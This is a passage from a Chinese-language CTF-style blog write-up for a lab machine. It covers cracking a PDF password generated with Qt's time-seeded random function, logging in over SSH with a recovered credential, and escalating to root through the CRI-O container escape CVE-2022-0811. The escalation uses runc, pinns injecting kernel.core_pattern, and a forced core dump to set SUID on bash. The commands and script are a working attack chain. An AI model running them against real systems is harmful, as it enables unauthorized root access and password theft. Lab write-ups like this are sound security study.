                return password

根据代码有32^128 种密码组合,但是由于QT实现随机数生成器的方式,idx是有限的值

然后我们写一个脚本来还原密码

from PySide2.QtCore import *


def genPassword():
    length = 32
    char = 0
    if char == 0:
        charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
    else:
        if char == 1:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
        else:
            if char == 2:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
            else:
                pass
    try:
        qsrand(QTime.currentTime().msec())
        password = ''
        for i in range(length):
            idx = qrand() % len(charset)
            nchar = charset[idx]
            password += str(nchar)
    except:
        print('error')
    return password


def gen_possible_passes():
    passes = []
    try:
        while True:
            ps = genPassword()
            if ps not in passes:
                passes.append(ps)
                # print(ps)
                print(len(passes))
    except KeyboardInterrupt:
        with open('pass.txt', 'w') as ofile:
            for p in passes:
                ofile.write(p + '\n')


gen_possible_passes()

这里爆破很慢,需要等一会

然后在当前文件夹下可以看到一个pass.txt文件,里面的是pdf文件的密码,然后打开pdf文件,输入密码,得到用户的密码

账号:ethan
密码:b@mPRNSVTjjLKId1T

然后ssh登录

ssh ethan@10.10.11.178

在这里插入图片描述

CVE-2022-0811提权

然后我们查询一下拥有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

然后发现了一个奇怪的程序,通过google可以发现这篇文章

在这里插入图片描述

https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

在这里插入图片描述

这个漏洞是CRI-O 在为 pod 设置内核选项的方式中发现了一个缺陷。此问题允许任何有权在使用 CRI-O 运行时的 Kubernetes 集群上部署 pod,以在部署恶意 pod 的集群节点上以 root 身份实现容器逃逸和任意代码执行

在这里插入图片描述

通过阅读文章发现,由于此漏洞利用中没有涉及kubectl、minikube、docker等,我们需要知道cve-2022-0811漏洞的原理并使用底层命令

在这里插入图片描述

回到靶机,我们在/tmp目录下创建一个文件夹

mkdir baimao

然后执行以下命令

runc spec --rootless
mkdir rootfs
vi config.json

在config.json的“ mounts ”部分写入

{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},

在这里插入图片描述

在这里插入图片描述

进入容器,但是现在只是只读的filesystem

runc --root /tmp/baimao run alpine

然后我们新开一个终端,登录ssh

ssh ethan@10.10.11.178

然后写入bash,并设置suid位

echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/baimao/a.sh && chmod +x /tmp/baimao/a.sh

在这里插入图片描述

在这里插入图片描述

然后用另一个ssh终端使用pinns给kernel.core_pattern赋值,这样一旦发生core dump,就会执行我们的恶意脚本

pinns -s "kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/baimao/a.sh #'" -d "/usr/bash/" -f "any" -n "any"

在这里插入图片描述

在这里插入图片描述

回到第一个ssh终端,触发核心转储

ulimit -c unlimited
tail -f /dev/null &
ps
bash -i
kill -SIGSEGV $num  //kill tail 程序,看pid
ps

在这里插入图片描述

在这里插入图片描述

这里需要速度快一点,在第二个ssh终端里输入bash -p 就能获得root权限

在这里插入图片描述

在这里插入图片描述

不知不觉就做到了凌晨,我感觉自己看了一万篇文章,但是收获也多

  • 7
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ba1_Ma0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值